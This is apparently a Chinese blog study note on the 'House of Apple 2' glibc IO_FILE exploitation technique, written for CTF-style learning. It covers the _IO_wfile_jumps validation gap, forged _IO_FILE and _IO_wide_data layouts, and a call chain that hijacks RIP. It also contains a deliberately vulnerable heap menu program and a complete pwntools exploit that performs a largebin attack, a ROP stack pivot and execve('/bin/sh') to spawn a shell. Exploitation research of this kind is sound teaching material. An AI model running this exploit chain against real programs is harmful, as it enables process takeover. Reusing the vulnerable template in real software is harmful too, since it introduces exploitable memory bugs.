House of apple2 学习笔记

  |  

在libc2.35及以后,glibc将许多的hook都给移除了,例如malloc_hook,free_hook等,导致一些常见的许多堆攻击利用方式几乎都失效了。 高版本后,_IO_FILE 的伪造和对 IO 流的劫持基本上是堆工具的主流思路,但是菜鸡一直看不懂,最近沉下心来看了roderick 佬的文章貌似看懂了点于是小记一下。

利用条件

能控制程序执行 IO 操作,包括但不限于:从 main 函数返回、调用 exit 函数、通过__malloc_assert 触发

已知 heap 地址和 glibc 地址

能控制_IO_FILEvtable_wide_data,一般使用 largebin attack 去控制

利用原理

stdin/stdout/stderr 这三个_IO_FILE 结构体使用的是_IO_file_jumps 这个 vtable

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
pwndbg> p *(struct  _IO_FILE_plus *) stdin
$4 = {
file = {
_flags = -72540021,
_IO_read_ptr = 0x7f3cb081cb23 <_IO_2_1_stdin_+131> "",
_IO_read_end = 0x7f3cb081cb23 <_IO_2_1_stdin_+131> "",
_IO_read_base = 0x7f3cb081cb23 <_IO_2_1_stdin_+131> "",
_IO_write_base = 0x7f3cb081cb23 <_IO_2_1_stdin_+131> "",
_IO_write_ptr = 0x7f3cb081cb23 <_IO_2_1_stdin_+131> "",
_IO_write_end = 0x7f3cb081cb23 <_IO_2_1_stdin_+131> "",
_IO_buf_base = 0x7f3cb081cb23 <_IO_2_1_stdin_+131> "",
_IO_buf_end = 0x7f3cb081cb24 <_IO_2_1_stdin_+132> "",
_IO_save_base = 0x0,
_IO_backup_base = 0x0,
_IO_save_end = 0x0,
_markers = 0x0,
_chain = 0x0,
_fileno = 0,
_flags2 = 0,
_old_offset = -1,
_cur_column = 0,
_vtable_offset = 0 '\000',
_shortbuf = "",
_lock = 0x7f3cb081ea80 <_IO_stdfile_0_lock>,
_offset = -1,
_codecvt = 0x0,
_wide_data = 0x7f3cb081cb80 <_IO_wide_data_0>,
_freeres_list = 0x0,
_freeres_buf = 0x0,
__pad5 = 0,
_mode = 0,
_unused2 = '\000' <repeats 19 times>
},
vtable = 0x7f3cb0819600 <_IO_file_jumps>
}

2.24以后的glibc中,这个 vtable会有一个IO_validate_vtable函数对其指向的地址进行检测,检测代码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
/* Perform vtable pointer validation.  If validation fails, terminate
the process. */
static inline const struct _IO_jump_t *
IO_validate_vtable (const struct _IO_jump_t *vtable)
{
/* Fast path: The vtable pointer is within the __libc_IO_vtables
section. */
uintptr_t section_length = __stop___libc_IO_vtables - __start___libc_IO_vtables;
const char *ptr = (const char *) vtable;
uintptr_t offset = ptr - __start___libc_IO_vtables;
if (__glibc_unlikely (offset >= section_length))
/* The vtable pointer is not in the expected section. Use the
slow path, which will terminate the process if necessary. */
_IO_vtable_check ();
return vtable;
}

stdin/stdout/stderr 这三个_IO_FILE 结构体中有个 ``_wide_data`成员指向一个和FILE结构体十分相像的wide_data结构体。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
pwndbg> p *(struct _IO_wide_data*) 0x7f3cb081cb80
$6 = {
_IO_read_ptr = 0x0,
_IO_read_end = 0x0,
_IO_read_base = 0x0,
_IO_write_base = 0x0,
_IO_write_ptr = 0x0,
_IO_write_end = 0x0,
_IO_buf_base = 0x0,
_IO_buf_end = 0x0,
_IO_save_base = 0x0,
_IO_backup_base = 0x0,
_IO_save_end = 0x0,
_IO_state = {
__count = 0,
__value = {
__wch = 0,
__wchb = "\000\000\000"
}
},
_IO_last_state = {
__count = 0,
__value = {
__wch = 0,
__wchb = "\000\000\000"
}
},
_codecvt = {
__cd_in = {
step = 0x0,
step_data = {
__outbuf = 0x0,
__outbufend = 0x0,
__flags = 0,
__invocation_counter = 0,
__internal_use = 0,
__statep = 0x0,
__state = {
__count = 0,
__value = {
__wch = 0,
__wchb = "\000\000\000"
}
}
}
},
__cd_out = {
step = 0x0,
step_data = {
__outbuf = 0x0,
__outbufend = 0x0,
__flags = 0,
__invocation_counter = 0,
__internal_use = 0,
__statep = 0x0,
__state = {
__count = 0,
__value = {
__wch = 0,
__wchb = "\000\000\000"
}
}
}
}
},
_shortbuf = L"",
_wide_vtable = 0x7f3cb08190c0 <_IO_wfile_jumps>
}

两个结构体,都有一个虚表,但是_IO_wfile_jumps 没有进行检查保护,这意味着我们可以把它劫持到我们伪造的虚表,从而控制执行流。

利用_IO_wfile_overflow 函数控制程序执行流

fp 的设置如下:

  • _flags 设置为 ~(2 | 0x8 | 0x800),如果不需要控制 rdi,设置为 0 即可;如果需要获得 shell,可设置为sh;,注意前面有两个空格

  • vtable 设置为_IO_wfile_jumps/_IO_wfile_jumps_mmap/_IO_wfile_jumps_maybe_mmap 地址(加减偏移),使其能成功调用_IO_wfile_overflow 即可

  • _wide_data 设置为可控堆地址 A,即满足 *(fp + 0xa0) = A

  • _wide_data->_IO_write_base 设置为 0,即满足 *(A + 0x18) = 0

  • _wide_data->_IO_buf_base 设置为 0,即满足 *(A + 0x30) = 0

  • _wide_data->_wide_vtable 设置为可控堆地址 B,即满足 *(A + 0xe0) = B

  • _wide_data->_wide_vtable->doallocate 设置为地址 C 用于劫持 RIP,即满足 *(B + 0x68) = C

    函数的调用链如下:

    1
    2
    3
    4
    _IO_wfile_overflow
    _IO_wdoallocbuf
    _IO_WDOALLOCATE
    *(fp->_wide_data->_wide_vtable + 0x68)(fp)

例子思路

  1. 利用largebin attack向IO_list_all里面写入一个可控的堆地址
  2. 在这个堆块里面同时伪造一个_IO_list_all结构体和IO_wide_data结构体,以及他们对应的vtable指针
  3. _IO_list_all结构体的vtable指针指向 _IO_wfile_jumps来绕过检查,而 _wide_data的结构体指向我们伪造的虚表即可

模版:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
#include<stdio.h> 
#include <unistd.h>
#define num 80
void *chunk_list[num];
int chunk_size[num];

void init()
{
setbuf(stdin, 0);
setbuf(stdout, 0);
setbuf(stderr, 0);
}

void menu()
{
puts("1.add");
puts("2.delete");
puts("3.edit");
puts("4.show");
puts("5.exit");
puts("Your choice:");
}


void add()
{
int index,size;
puts("index:");
scanf("%d",&index);
puts("Size:");
scanf("%d",&size);
chunk_list[index] = malloc(size);
chunk_size[index] = size;
}

void edit()
{
int size;
int index;
puts("index:");
scanf("%d",&index);
puts("size:");
scanf("%d",&size);
puts("context: ");
read(0,chunk_list[index],size);
}

void delete()
{
int index;
puts("index:");
scanf("%d",&index);
free(chunk_list[index]);
}

void show()
{
int index;
puts("index:");
scanf("%d",&index);
puts("context: ");
puts(chunk_list[index]);
}


int main()
{
int choice;
init();
while(1){
menu();
scanf("%d",&choice);
if(choice==5){
exit(0);
}
else if(choice==1){
add();
}
else if(choice==2){
delete();
}
else if(choice==3){
edit();
}
else if(choice==4){
show();
}

}
}

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
#!/usr/bin/env python
# -*- encoding: utf-8 -*-

'''
@File : 1,py
@Time : 2024/12/25 19:12:32
@Author : lexsd6
'''

from pwn import *
from libcfind import *

local_mote=1
elf='./test'
e=ELF(elf)
context.arch=e.arch
libc=ELF('/usr/lib/x86_64-linux-gnu/libc.so.6')
#context.log_level = 'debug'
ip_port=['',]

debug=lambda gdb_cmd='': gdb.attach(p,gdb_cmd) if local_mote==1 else None
loghex=lambda name,strs='': log.info(str(name)+':'+hex(strs))
if local_mote==1 :
p=process(elf)
else :
p=remote(ip_port[0],ip_port[-1])



def add(num,size):
p.recvuntil('Your choice:')
p.sendline('1')
p.recvuntil('index:')
p.sendline(str(num))
p.recvuntil('Size:')
p.sendline(str(size))

def free(num):
p.recvuntil('Your choice:')
p.sendline('2')
p.recvuntil('index:')
p.sendline(str(num))

def edit(num,size,text):
p.recvuntil('Your choice:')
p.sendline('3')
p.recvuntil('index:')
p.sendline(str(num))
p.recvuntil('size:')
p.sendline(str(size))
p.recvuntil('context:')
p.sendline(text)

def show(num):
p.recvuntil('Your choice:')
p.sendline('4')
p.recvuntil('index:')
p.sendline(str(num))

#########################################################
# 利用largebin attack向IO_list_all里面写入一个可控的堆地址
#########################################################

add(1,0x428)
add(2,0x18)
add(3,0x418)
add(4,0x18)
free(1)
add(4,0x438)

show(1)
p.recvuntil('context:')
p.recvline()
addr=u64(p.recv(6).ljust(8,'\x00'))
loghex('addr',addr)
free(3)

tzname=addr+0x400+0x50
loghex('tzname',tzname)
x=finder('tzname',tzname,num=31)
log.info(libc.sym['tzname'])

#log.info('heap_addr:'+hex(heap_addr))
edit(1,0x10,'a'*0xf)
show(1)
p.recvuntil('aaa')
p.recvline()
addr2=u64(p.recv(6).ljust(8,'\x00'))
loghex('addr2',addr2)
heap_addr=addr2-0x290
log.info('heap_addr:'+hex(heap_addr))

edit(1,0x20,p64(addr2)+p64(addr)+p64(addr2)+p64(x.dump('_IO_list_all')-0x20))

add(4,0x438)
add(5,0x418)
edit(1,0x20,p64(addr)+p64(addr)+p64(addr2)*2)
add(6,0x428)



#########################################################
# apple 2
#########################################################

#0x0000000000035732 : pop rsp ; ret
#0x000000000005a120 : mov rsp, rdx ; ret
#0x000000000002a3e5 : pop rdi ; ret
#0x000000000002be51 : pop rsi ; ret
mov_rsp_rdx_ret=0x000000000005a120+x.libcbase
pop_rsp_ret=0x0000000000035732+x.libcbase
pop_rdi_ret=0x000000000002a3e5+x.libcbase
pop_rsi_ret=0x000000000002be51+x.libcbase
_IO_wfile_jumps=x.dump('_IO_wfile_jumps')
log.info('_IO_wfile_jumps:'+hex(_IO_wfile_jumps))
_lock=0xcd0+addr2+0x10
log.info('_lock:'+hex(_lock))
a_addr=addr2+0x10+1104
code_addr=addr2+0xcd0+0x10
#造一个_IO_FILE结构体,
fake_IO_FILE=''
#fake_IO_FILE+=p64(0x800) #_flags
#fake_IO_FILE+=p64(0xa81) #_IO_read_ptr
fake_IO_FILE+=p64(0) #_IO_read_end
fake_IO_FILE+=p64(0) #_IO_read_base = 0x0,
fake_IO_FILE+=p64(0) #_IO_write_base = 0x0,
fake_IO_FILE+=p64(1) #_IO_write_ptr = 0x0,
fake_IO_FILE+=p64(0) #_IO_write_end = 0x0,
fake_IO_FILE+=p64(0) #_IO_buf_base = 0x0,
fake_IO_FILE+=p64(0) #_IO_buf_end = 0xffff <error: Cannot access memory at address 0xffff>,
fake_IO_FILE+=p64(0) #_IO_save_base = 0x0,
fake_IO_FILE+=p64(0) #_IO_backup_base = 0x55e88c680bb0 "",
fake_IO_FILE+=p64(0) #_IO_save_end = 0x7fb0ed36ca6Sd <setcontext+61> "H\213\242\240",
fake_IO_FILE+=p64(0) #_markers = 0x0,
fake_IO_FILE+=p64(0) #_chain = 0x0,
fake_IO_FILE+=p32(0) #_fileno = 0,
fake_IO_FILE+=p32(8) #_flags2 = 0,
fake_IO_FILE+=p64(0) #_old_offset = 0,
fake_IO_FILE+=p64(0) #_cur_column = 0,_vtable_offset,_shortbuf = "",
#fake_IO_FILE+=p64(0) #_vtable_offset = 0 '\000',
#fake_IO_FILE+=p64(0) #_shortbuf = "",
#疑似可以伪造为heap上空闲区域
fake_IO_FILE+=p64(_lock) #_lock = 0x55e88c680200,
fake_IO_FILE+=p64(0) #_offset = 0,
fake_IO_FILE+=p64(0) #_codecvt = 0x0,
#_wide_data 指向我们伪造的IO_wide_data结构体地址
fake_IO_FILE+=p64(a_addr) #_wide_data = 0x55e88c680b30
fake_IO_FILE+=p64(0)#_freeres_list = 0x0,a
fake_IO_FILE+=p64(0)#_freeres_buf = 0x0,
fake_IO_FILE+=p64(0)#__pad5 = 0,
fake_IO_FILE+=p32(0)#_mode = 0,
fake_IO_FILE+=p32(0)+p64(0)*2#_unused2 = '\000' <repeats 19 times>
#指向_IO_wfile_jumps 虚表 可以从gblic中获取
fake_IO_FILE+=p64(_IO_wfile_jumps) #0X18
edit(6,0x400,fake_IO_FILE)

#伪造IO_wide_data结构体

#rsp进行二次栈迁移
A_IO_wide_data=p64(pop_rsp_ret) #*_IO_read_ptr
#返回到我们写入恶意代码地址
A_IO_wide_data+=p64(code_addr+0x10) #*_IO_read_end
A_IO_wide_data+=p64(0) #*_IO_read_base
A_IO_wide_data+=p64(0) #*_IO_write_base; /* Start of put area. */
A_IO_wide_data+=p64(0) #*_IO_write_ptr; /* Current put pointer. */
A_IO_wide_data+=p64(0) #*_IO_write_end; /* End of put area. */
A_IO_wide_data+=p64(0) #*_IO_buf_base; /* Start of reserve area. */
A_IO_wide_data+=p64(0) #*_IO_buf_end;
A_IO_wide_data+=p64(0) #*_IO_save_base
A_IO_wide_data+=p64(0) #*_IO_backup_base;
A_IO_wide_data+=p64(0) #*_IO_save_end;
log.info(hex(len(A_IO_wide_data)))
A_IO_wide_data+='\x00'*(0Xa0-0x10-8)+p64(code_addr-0x68)

edit(3,0x400,A_IO_wide_data)
#调用mov_rsp_rdx_ret将rdx迁移到rsp。将rip劫持到A_IO_wide_data处进行第一次栈迁移
edit(4,0x400,p64(mov_rsp_rdx_ret)+'/bin/sh\x00'+p64(pop_rdi_ret)+p64(code_addr+8)+p64(pop_rsi_ret)+p64(0)+p64(x.dump('execve')))
debug()
#add(6,0x418)
p.interactive()
文章目录
  1. 利用条件
    1. 利用原理
    2. 利用_IO_wfile_overflow 函数控制程序执行流
  2. 例子思路
|